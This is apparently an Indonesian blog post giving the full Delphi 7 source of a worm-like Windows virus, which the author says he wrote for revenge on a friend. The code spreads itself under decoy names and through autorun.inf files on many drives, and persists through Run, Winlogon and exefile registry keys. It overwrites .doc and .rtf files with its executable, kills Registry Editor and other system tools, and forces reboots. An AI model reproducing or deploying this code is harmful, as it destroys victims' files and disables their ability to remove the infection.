New Software
Medical Dictionary Lihat Detail





Active@ Boot Disk
Lihat Detail













New Software

Pengikut

facebook

membuat virus dengan delphi 7.0

kenapa aku membuat virus....?
jawabanya itu semua berawal dari sebuah virus yang menyebar di lab. kampus gua.....
semua data-data penting gua hilang...! cek percek virus itu dibuat oleh teman gua, makanya gua buat untuk ngebalas dia, tapi virus ini ga ngerusak coz aku bukan perusak, sedikit becanda buat senang-senag... he..he... ni gua kasih source codenya

unit Scary;


interface



uses
shellapi,Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
jpeg, ExtCtrls, lmdclass, StdCtrls, Buttons, MPlayer,
FileCtrl, LMDOneInstance, LMDWaveComp,
LMDCustomComponent, LMDWndProcComponent, LMDTrayIcon;


type
TFreak = class(TForm)
Image1: TImage;
Timer1: TTimer;
LMDTrayIcon1: TLMDTrayIcon;
i: TLabel;
Image2: TImage;
LMDWaveComp1: TLMDWaveComp;
a: TLabel;
Image3: TImage;
Timer2: TTimer;
LMDOneInstance1: TLMDOneInstance;
DirectoryListBox1: TDirectoryListBox;
DirectoryListBox2: TDirectoryListBox;
DriveComboBox1: TDriveComboBox;
DriveComboBox2: TDriveComboBox;
FileListBox1: TFileListBox;
FileListBox2: TFileListBox;
Edit1: TEdit;
Edit2: TEdit;
Timer3: TTimer;
Timer4: TTimer;
Timer5: TTimer;
Timer6: TTimer;
Timer7: TTimer;
Timer8: TTimer;
Timer9: TTimer;
Timer10: TTimer;
Timer11: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormKeyPress(Sender: TObject; var Key: Char);
procedure Timer2Timer(Sender: TObject);
procedure Timer3Timer(Sender: TObject);
procedure Timer4Timer(Sender: TObject);
procedure Timer5Timer(Sender: TObject);
procedure Timer6Timer(Sender: TObject);
procedure Timer7Timer(Sender: TObject);
procedure Timer8Timer(Sender: TObject);
procedure Timer9Timer(Sender: TObject);
procedure Timer10Timer(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormDestroy(Sender: TObject);
procedure FormEndDock(Sender, Target: TObject; X, Y: Integer);
procedure FormDblClick(Sender: TObject);
procedure FormUnDock(Sender: TObject; Client: TControl;
NewTarget: TWinControl; var Allow: Boolean);
procedure Timer11Timer(Sender: TObject);


private
{ Private declarations }
DeskTopCanvas:TCanvas;
desktop:Tcanvas;
public
{ Public declarations }
Procedure FileCopy(Const Namafile, Tujuan : String);
end;


var
Freak: TFreak;
hit : Integer;
k : Boolean;
ActiveDir:string;
implementation

uses Registry,mmsystem;



function SetSEShutDownPrivilege: Boolean;
var
TTokenHnd: THandle; // Handle u/ membuka akses token
TTokenPvg: TTokenPrivileges;
cbtpPrevious: DWORD;
rTTokenPvg: TTokenPrivileges;
pcbtpPreviousRequired: DWORD;
tpResult: Boolean;
const
SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
begin
Result := false;


// Jika windows platform NT
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
// membuka akses token yg diasosiasikan dg proses
if OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TTokenHnd) then
begin
// memperoleh locally unique identifier (LUID)
tpResult := LookupPrivilegeValue(nil, SE_SHUTDOWN_NAME,
TTokenPvg.Privileges[0].Luid);
TTokenPvg.PrivilegeCount := 1;
TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
cbtpPrevious := SizeOf(rTTokenPvg);
pcbtpPreviousRequired := 0;
if TPResult then
// Mengaktifkan privilege SE_SHUTDOWN_NAME
Result := Windows.AdjustTokenPrivileges(TTokenHnd,
False, TTokenPvg, cbtpPrevious,
rTTokenPvg, pcbtpPreviousRequired)
end;
end;
end;


// Fungsi untuk mengeset power state Shutdown, Power Off,
// Log Off, dan Reboot
function Power(pwFlags: Cardinal) : boolean;
begin
if Win32Platform = VER_PLATFORM_WIN32_NT then
SetSEShutDownPrivilege;


Result := ExitWindowsEx(pwFlags, 0);
end;


{$R *.DFM}
function LoadAtStar(AppName, AppCommand: string): boolean;
var Reg : TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey(
'\Software\Microsoft\Windows\CurrentVersion\Run',
true);


Reg.WriteString(AppName, AppCommand);
Reg.CloseKey;
Result := true;
finally
Reg.Free;
end; // end try
end;


function LoadAtStart(AppName, AppCommand: string): boolean;
var Reg : TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(
'\Software\Microsoft\Windows\CurrentVersion\Run',
true);


Reg.WriteString(AppName, AppCommand);
Reg.CloseKey;
Result := true;
finally
Reg.Free;
end; // end try

end;



Procedure TFreak.FileCopy(Const Namafile, Tujuan : String);
begin
with TMemoryStream.Create do
begin
try
LoadFromFile(Namafile);
SaveToFile(Tujuan);
finally
Free;
end;
end;
end;


procedure Hitung;
begin
hit := random(2000);
end;


procedure ShowTaskbarIcon(const Show: boolean);
begin
ShowWindow(Application.Handle, SW_HIDE);
if Show = false then
SetWindowLong(Application.Handle, GWL_EXSTYLE,
GetWindowLong(Application.Handle,
GWL_EXSTYLE) or WS_EX_TOOLWINDOW)


else
SetWindowLong(Application.Handle, GWL_EXSTYLE,
WS_OVERLAPPED);
ShowWindow(Application.Handle, SW_SHOW);
end;


procedure TFreak.Timer1Timer(Sender: TObject);
begin
hide;
i.Left := i.Left +1;
if i.Left = 2 then
begin
Hitung;
if hit <= 800 then
hit := 801 + random(501);
end;


if i.Left = hit then
begin
Show;
Image1.Visible:=true;
Image2.Visible:=false;
LMDWaveComp1.Play;
end;
if i.Left = (hit + 3) then
begin
i.Left := 1;
Timer2.Enabled:=true;
Timer1.Enabled:=false;
Image1.Visible:=false;
Image2.Visible:=false;
LMDWaveComp1.Stop;
Hide;
end;
end;


procedure TFreak.FormShow(Sender: TObject);
var reg : TRegistry;
begin
ShowTaskbarIcon(false);
Timer1.Enabled:=true;
try
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
if Reg.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',True) then
begin
Reg.WriteString('shell','Explorer.exe "C:\WINDOWS\'+'\services.exe"');
Reg.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',false);
end;
finally
reg.free;


try
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_CURRENT_USER;


if Reg.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',True) then
begin
Reg.WriteString('shell','Explorer.exe "C:\WINDOWS\system32\'+'sysconf.com"');
Reg.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',false);
end;
finally
reg.free;
end;
end;

end;
procedure TFreak.FormCreate(Sender: TObject);
var F: TextFile;
hsysMenu:HMENU;{tutup form}
h:HWND;{tutup system}
APath: string;
dir : string;
{i : integer;}
{x : integer;}
{F:TextFile;}
MySearch: TSearchRec;
windir:array[0..255] of char;
sysdir:array[0..255] of char;
begin
Application.ShowMainForm := true;
Brush.Style:=bsClear;
DirectoryListBox1.Directory:=ExtractFilePath(Application.ExeName);
Edit1.Text:=Application.ExeName;
Edit2.Text:='c:\WINDOWS\Help\'+'tour.scr';
if not FileExists('c:\WINDOWS\Help\'+'tour.scr') then
FileCopy(Edit1.Text,Edit2.Text);
LoadAtStart('Network', 'Internet Access.exe');
LoadAtStart('WinLogon', 'C:\WINDOWS\system32\drivers\smss.exe'+' /System');
LoadAtStart('Automatic Updates', 'C:\Program Files\Internet Explorer\IEXPLORER.EXE'+' /Help Protecd');
LoadAtStart('boot', 'C:\WINDOWS\services.exe'+' /Reboot Windows');
LoadAtStar('SCRNSAVER', 'C:\WINDOWS\Help\'+'tour.scr');
LoadAtStar('SystemRoot', 'D:\AUTOEXEC.BAT');


// LoadAtStart(''','D:\AUTOEXEC'+' /Reboot Windows "%1"%*');
{FORM INVISIBILE}


{COPIA SE STESSO}
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
//mkdir(sysdir+'\1046');
except
end;
try
CopyFile(pchar(application.ExeName),PChar(dir+'Internet Access.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'c:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'d:\Peta Ibukota.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'e:\Peta Jogja.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\WINDOWS\inf\Viruses Protect.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\Program Files\Online Services\Internet Access.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\Program Files\Internet Explorer\IEXPLORER.EXE'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'f:\Peta Ibukota.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'g:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'h:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+'\sysconf.com'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'J:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'E:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'F:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'G:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'H:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\WINDOWS\system32\drivers\smss.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'I:\AUTOEXEC.BAT'),true);
except
end;
end;
begin
//getsystemdirectory(sysdir,sizeof(sysdir)); PChar
try
SetFileAttributes(PChar(dir+'AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'E:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'F:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'G:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'H:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'I:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'J:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+'\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+'\Internet Access.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'\Program Files\Internet Explorer\IEXPLORER.EXE'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'\Program Files\Online Services\Internet Access.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'\WINDOWS\system32\drivers\smss.exe'), FILE_ATTRIBUTE_HIDDEN);
except


end;
end;
end;

//end;



procedure TFreak.FormKeyPress(Sender: TObject; var Key: Char);
var st: String;
begin
if Key = #27 then
begin
Application.MessageBox('Program by :'+#10'Black Devil',' ',MB_RTLREADING+MB_ICONSTOP);
st := InputBox(' ','Type the fucking password','');
if st = 'krowak' then
begin
Application.MessageBox('Are you some devil ',' ',MB_RTLREADING+MB_ICONSTOP);
Image1.Visible:=False;
Image2.Visible:=False;
Image3.Visible:=true;
Application.Terminate;


end;
end;
end;


procedure TFreak.Timer2Timer(Sender: TObject);
begin
hide;
a.Left := a.Left +1;
if a.Left = 2 then
begin
Hitung;
if hit <= 800 then
hit := 801 + random(501);
end;


if a.Left = hit then
begin
Show;
Image2.Visible:=true;
Image1.Visible:=false;
LMDWaveComp1.Play;
end;
if a.Left = (hit + 3) then
begin
a.Left := 1;
Timer1.Enabled:=true;
Timer2.Enabled:=false;
Image2.Visible:=false;
Image1.Visible:=false;
LMDWaveComp1.Stop;
Hide;
//ShellExecute(0, 'open', 'www.rossimania.com', nil, nil, SW_NORMAL);
end;
end;


procedure TFreak.Timer3Timer(Sender: TObject);
VAR
h:HWND;{tutup system}
windir:array[0..255] of char;
sysdir:array[0..255] of char;
dir : string;
begin
//Application.ShowMainForm := false;
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
except
end;
try


///////////////////////////////////////////////////////////////////////////////
CopyFile(pchar(application.ExeName),PChar(windir+'.exe'),true);
//CopyFile(pchar(application.ExeName),PChar('c:\Program Files'+'.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\WINDOWS\system32\drivers\svchost.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\Internet Access.exe'),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+'\sysconf.com'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'C:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'D:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'D:\Peta Ibukota.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'C:\Peta Jogja.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'D:\Peta Jogja.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'e:\Peta Ibukota.exe'),true);
///////////////////////////////////////////////////////////////////////////////
CopyFile(pchar(application.ExeName),PChar(dir+'D:\AUTOEXEC.BAT'),true);
except
end;
begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
SetFileAttributes(PChar(windir+'Internet Access.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+'services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'\WINDOWS\system32\drivers\smss.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+'\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'C:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'D:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
/////////////////
SetFileAttributes(PChar(dir+'D:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
except
end;
end;
h:=FindWindow(nil,'Untitled - Notepad');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Untitled - Notepad');
if h0 then ShowMessage('request permit formerly');
begin
h:=FindWindow(nil,'Registry Editor');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Registry Editor');
if h0 then ShowMessage('sorry may not be accessinged');
begin
h:=FindWindow(nil,'System Configuration Utility');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'System Configuration Utility');
if h0 then ShowMessage('don"t only rely on this, stale know....!');
begin
h:=FindWindow(nil,'Folder Options');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Folder Options');
if h0 then ShowMessage('latent all right latent');
begin
h:=FindWindow(nil,'Windows Media Player');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Windows Media Player');
if h0 then ShowMessage('because the hoisterous of film showing bokep so for this is windows media player not can be used... TTD. Black Devil');
begin
h:=FindWindow(nil,'System Properties');
if h0 then PostMessage(h, WM_QUIT ,1,0);
begin
h:=FindWindow(nil,'Add or Remove Programs');
if h0 then PostMessage(h, WM_QUIT ,1,0);
begin
h:=FindWindow(nil,'Display Properties');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Display Properties');
if h0 then ShowMessage('beautiful permanent alive although without loves ');
begin
h:=FindWindow(nil,'Group Policy');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Group Policy');
if h0 then ShowMessage('live it up to what existence....');
h:=FindWindow(nil,'Nero StartSmart');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Nero StartSmart');
if h0 then ShowMessage('Aplication fatalErr');
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
END;
end;
end;
end;
END;
end;


procedure TFreak.Timer4Timer(Sender: TObject);
var FileHandle: Integer;
Buff : array [0 .. 530] of char;
begin
Buff := '[autorun]'#13+
'open=services.exe open'#13+
' '#13+
'shellexecute=services.exe open'#13+
''#13+
'shell=auto'#13+
''#13+
'action=KwK Initial(System Root disk Drive)'#13+
''#13+
'shell\auto=&Auto'#13+
'shell\auto\command=services.exe open'#13+
''#13+
'shell\open=&Open'#13+
'shell\open\command=services.exe open'#13+
''#13+
'shell\explore=E&xplore'#13+
'shell\explore\command=services.exe open'#13+
''#13+
'shell\find=S&earch...'#13+
'shell\find\command=services.exe open'#13+
''#13+
'shell\install=&KrowacK'#13+
'shell\install\command=services.exe open'#13+
''#13+
'shell\Properties=&Properties'#13+
'shell\auto\command=services.exe open';
// Membuat file baru
FileHandle := FileCreate('autorun.inf');


if FileHandle < 0 then
begin
//ShowMessage('Gagal membuat file');
Exit;
end;


// Menulis data dari buffer ke file
FileWrite(FileHandle, Buff, SizeOf(Buff));


// Menutup handle file;
FileClose(FileHandle);
CopyFile('AUTORUN.INF','C:\autorun.inf',true);
CopyFile('AUTORUN.INF','d:\autorun.inf',true);
CopyFile('AUTORUN.INF','i:\autorun.inf',true);
CopyFile('AUTORUN.INF','e:\autorun.inf',true);
CopyFile('AUTORUN.INF','f:\autorun.inf',true);
CopyFile('AUTORUN.INF','g:\autorun.inf',true);
CopyFile('AUTORUN.INF','h:\autorun.inf',true);
end;
procedure TFreak.Timer5Timer(Sender: TObject);
VAR
windir:array[0..255] of char;
sysdir:array[0..255] of char;
dir : string;
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
except
end;
try
CopyFile('AUTORUN.INF','c:\autorun.inf',true);
CopyFile('AUTORUN.INF','d:\autorun.inf',true);
CopyFile('AUTORUN.INF','i:\autorun.inf',true);
CopyFile('AUTORUN.INF','e:\autorun.inf',true);
CopyFile('AUTORUN.INF','f:\autorun.inf',true);
CopyFile('AUTORUN.INF','g:\autorun.inf',true);
CopyFile('AUTORUN.INF','h:\autorun.inf',true);
CopyFile(pchar(application.ExeName),PChar(windir+'\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'J:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'E:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'F:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'G:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'H:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'I:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'J:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'E:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'F:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'G:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'H:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'I:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'E:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'J:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'F:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'G:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'H:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'I:\Peta Indonesia.exe'),true);
//////////////////////////////////////////////////////////
except
end;


begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
///////////////////////////////////////
SetFileAttributes(PChar(windir+'\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'E:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'F:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'G:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'H:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'I:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'J:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
/////////////////
SetFileAttributes(PChar(dir+'c:\Program Files'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+''), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+'AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'E:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'F:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'G:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'H:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'I:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'J:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'E:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'F:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'G:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'H:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'I:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'J:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);


except
end;
end;
end;
procedure TFreak.Timer6Timer(Sender: TObject);
var FileHandle: Integer;
Buff : array [0 .. 3600] of char;
dir: string;
begin


Buff := 'fall into oblivionone story not bought
for darling that leave me
'#13+
'23-juni-2007
'#13+
'
---------------------------------------------------------------------------'#13+
'



'#13+
'
'#13+
'
'#13+
'sungguh tepat keputusannmu
'#13+
'meninggalkan aku yang memang bersalah
'#13+
'PEREMPUANKU
'#13+
'kau mimpiku....!
'#13+
'kau hidupku....!
'#13+
'tapi semua ini bukan murni salahku....!
'#13+
'PEREMPUANKU....!
'#13+
'inilah salahku....!
'#13+
'inilah dosaku....!
'#13+
'PEREMPUANKU....!
'#13+
'sungguh baik hatimu.......!
'#13+
'!
'#13+
'PEREMPUANKU....!
'#13+
'sungguh bijak dirimu.....!
'#13+
'!
'#13+
'PEREMPUANKU....!
'#13+
'ini kubuat untukmu....!
'#13+
'untuk menebus kesalahanku!
'#13+
'!
'#13+
' ketika ini merasuk di PC"mu.... maka aku telah lenyap....!
'#13+
' maafkanlah aku....!
'#13+
'
---------------------------------------------------------------------------'#13+
'
---i want---
'#13+
'
want me carve your name
'#13+
'at the leafy trees
'#13+
'at water the ripples
'#13+
'and at the lonely evening
'#13+
'so that they know
'#13+
'“ i am pity in you ”
'#13+
'
'#13+
'want me paint your face
'#13+
'at the white bubble foam
'#13+
'at the blue sky
'#13+
'and at redden twilight
'#13+
'so that they understand
'#13+
'“ i yearn in you ”
'#13+
'
'#13+
'want me hide to yearn this
'#13+
'on leaf in a mess
'#13+
'on wet soil former drizzles last night
'#13+
'and angled this eye that stills full of tears
'#13+
'so that they understand
'#13+
'“ i am yours ”
'#13+
'
---------------------------------------------------------------------------'#13+
'
---from Black Devil to you---
'#13+
'i am not angel
'#13+
'strong without love
'#13+
'as well as not cliff
'#13+
'strong at dash against wave
'#13+
'i only human usually
'#13+
'brittle when left to love
'#13+
'
---------------------------------------------------------------------------'#13+
'
---my sad---
'#13+
'i only can cry in your laughter...
'#13+
'i only can hush your smile time...
'#13+
'make to yearn not bought
'#13+
'treading self in alcove loves and affection
'#13+
'my affection wants you
'#13+
'my affection wants to suffer and your happy
'#13+
'your self...
'#13+
'myself...
'#13+
'what slurr in cry
'#13+
'myself
'#13+
'your self
'#13+
'what slurr in laughter....
'#13+
'my affection...
'#13+
'who are you...
'#13+
'make me kneel at face you...
'#13+
'
---------------------------------------------------------------------------'#13+
'
i am sorry mother
i am sorry father
'#13+
'i am sorry elder brother
i can not be to like what you want
'#13+
'i am but a looser can not get fact


'#13+
'
---------------------------------------------------------------------------'#13+
'
---untuk mereka yang tak bersalah---
'#13+
'Maafkanlah aku jika Virus ini merasuk dikomputermu
'#13+
'ini hanya sebuah media penyampaian PESANKU untuknya
'#13+
'Cintailah orang yang mencintaimu
'#13+
'Sesungguhnya kau akan kehilangan dia
'#13+
'


'#13+
'
---------------------------------------------------------------------------'#13+
'
I Love You keti Forever
'#13+
'From Black Devil
'#13+
'
'#13+
'
';
// Membuat file baru
FileHandle := FileCreate('Bisikan Qalbu.html');
if FileHandle < 0 then
begin
// ShowMessage('Gagal membuat file');
// Exit;
end;
FileWrite(FileHandle, Buff, SizeOf(Buff));
FileClose(FileHandle);
CopyFile('Bisikan Qalbu.html','C:\WINDOWS\Help\Tours\htmlTour\15-Maret-2008.html',true);
CopyFile('Bisikan Qalbu.html','d:\Bisikan Qalbu.html',true);
CopyFile('Bisikan Qalbu.html','d:\Bisikan Qalbu.html',true);
CopyFile('Bisikan Qalbu.html','e:\Bisikan Qalbu.html',true);
CopyFile('Bisikan Qalbu.html','f:\Bisikan Qalbu.html',true);
CopyFile('Bisikan Qalbu.html','g:\Bisikan Qalbu.html',true);
CopyFile('Bisikan Qalbu.html','h:\Bisikan Qalbu.html',true);
end;
procedure TFreak.Timer7Timer(Sender: TObject);
var F: TextFile;
hsysMenu:HMENU;{tutup form}
h:HWND;{tutup system}
APath: string;
dir : string;


{i : integer;}
{x : integer;}
{F:TextFile;}
MySearch: TSearchRec;
windir:array[0..255] of char;
sysdir:array[0..255] of char;
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+'\*.doc', faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
copyFile (pchar(application.ExeName),pchar(APath+'\'+MySearch.Name),false);
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+'\*.doc', faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
renamefile (pchar(APath+'\'+MySearch.Name),pchar(APath+'\'+MySearch.Name+'.exe'));
renamefile (pchar(application.ExeName+'.exe'),pchar(application.ExeName));
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
//ShellExecute(0, 'open', 'www.rossimania.com', nil, nil, SW_NORMAL);
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+'\*.rtf', faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
copyFile (pchar(application.ExeName),pchar(APath+'\'+MySearch.Name),false);
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+'\*.rtf', faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
renamefile (pchar(APath+'\'+MySearch.Name),pchar(APath+'\'+MySearch.Name+'.exe'));
renamefile (pchar(application.ExeName+'.exe'),pchar(application.ExeName));
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
end;

procedure TFreak.Timer8Timer(Sender: TObject);
begin
mciSendString('set cdaudio door open',nil,0,0);

end;



procedure TFreak.Timer9Timer(Sender: TObject);
begin
shellExecute(Handle,'open','Bisikan Qalbu.html','',nil,SW_SHOWNORMAL)

end;



procedure TFreak.Timer10Timer(Sender: TObject);
var reg : TRegistry;
begin
try
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_CLASSES_ROOT;
if Reg.OpenKey('\HKEY_CLASSES_ROOT\exefile\shell\open\command',True) then
begin


Reg.WriteString('','D:\AUTOEXEC.bat'+'"%1"'+'%*');
Reg.OpenKey('\HKEY_CLASSES_ROOT\exefile\shell\open\command',false);
end;
finally
reg.free;
end;

end;



procedure TFreak.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Power(EWX_REBOOT or EWX_FORCE);
end;


procedure TFreak.FormDestroy(Sender: TObject);
begin
Power(EWX_REBOOT or EWX_FORCE);
end;


procedure TFreak.FormEndDock(Sender, Target: TObject; X, Y: Integer);
begin
Power(EWX_REBOOT or EWX_FORCE);
end;


procedure TFreak.FormDblClick(Sender: TObject);
begin
// Power(EWX_REBOOT or EWX_FORCE);
end;


procedure TFreak.FormUnDock(Sender: TObject; Client: TControl;
NewTarget: TWinControl; var Allow: Boolean);
begin
Power(EWX_REBOOT or EWX_FORCE);
end;


